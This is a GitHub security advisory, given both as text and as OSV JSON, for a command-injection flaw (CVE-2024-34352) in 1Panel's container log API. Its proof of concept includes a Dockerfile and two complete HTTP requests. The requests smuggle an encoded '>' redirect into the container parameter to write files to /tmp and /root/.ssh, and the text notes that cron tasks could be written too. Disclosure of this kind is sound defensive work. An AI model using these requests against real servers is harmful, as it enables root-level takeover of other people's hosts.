ghsa-f8ch-w75v-c847
Vulnerability from github
Summary
There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.
We can use the following mirror configuration write symbol >
to achieve arbitrary file writing
PoC
Dockerfile ``` FROM bash:latest
COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]
echo.sh
!/usr/local/bin/bash
echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed
GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1
Host: xxxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==
Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges
GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1
Host: xxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==
Or write a timed task to execute any command.
Impact
The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover
{ "affected": [ { "package": { "ecosystem": "Go", "name": "github.com/1Panel-dev/1Panel" }, "ranges": [ { "events": [ { "introduced": "0" }, { "fixed": "1.10.3-lts" } ], "type": "ECOSYSTEM" } ] } ], "aliases": [ "CVE-2024-34352" ], "database_specific": { "cwe_ids": [ "CWE-77" ], "github_reviewed": true, "github_reviewed_at": "2024-05-09T15:14:24Z", "nvd_published_at": "2024-05-14T15:38:43Z", "severity": "MODERATE" }, "details": "### Summary\nThere are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs.\nWe can use the following mirror configuration write symbol `\u003e` to achieve arbitrary file writing\n\n### PoC\nDockerfile\n```\nFROM bash:latest\n\nCOPY echo.sh /usr/local/bin/echo.sh\nRUN chmod +x /usr/local/bin/echo.sh\nCMD [\"echo.sh\"]\n```\necho.sh\n```\n#!/usr/local/bin/bash\necho \"Hello, World!\"\n```\nBuild this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container\nSend the following packet, taking care to change the containerID to the malicious container we constructed\n\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1\u0026since=all\u0026tail=100\u0026follow=true HTTP/1.1\nHost: xxxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nThen you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges\n```\nGET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1\u0026since=all\u0026tail=100\u0026follow=true HTTP/1.1\nHost: xxx:42713\nConnection: Upgrade\nPragma: no-cache\nCache-Control: no-cache\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36\nUpgrade: websocket\nOrigin: http://xxx:42713\nSec-WebSocket-Version: 13\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9\nCookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d\nSec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==\n```\nOr write a timed task to execute any command.\n### Impact\nThe ability to write arbitrary files on the host where the service is deployed can lead to a host takeover", "id": "GHSA-f8ch-w75v-c847", "modified": "2025-02-07T17:47:10Z", "published": "2024-05-09T15:14:24Z", "references": [ { "type": "WEB", "url": "https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-f8ch-w75v-c847" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34352" }, { "type": "PACKAGE", "url": "https://github.com/1Panel-dev/1Panel" }, { "type": "WEB", "url": "https://pkg.go.dev/vuln/GO-2024-2830" } ], "schema_version": "1.4.0", "severity": [ { "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N", "type": "CVSS_V3" } ], "summary": "1Panel arbitrary file write vulnerability" }
Sightings
Author | Source | Type | Date |
---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.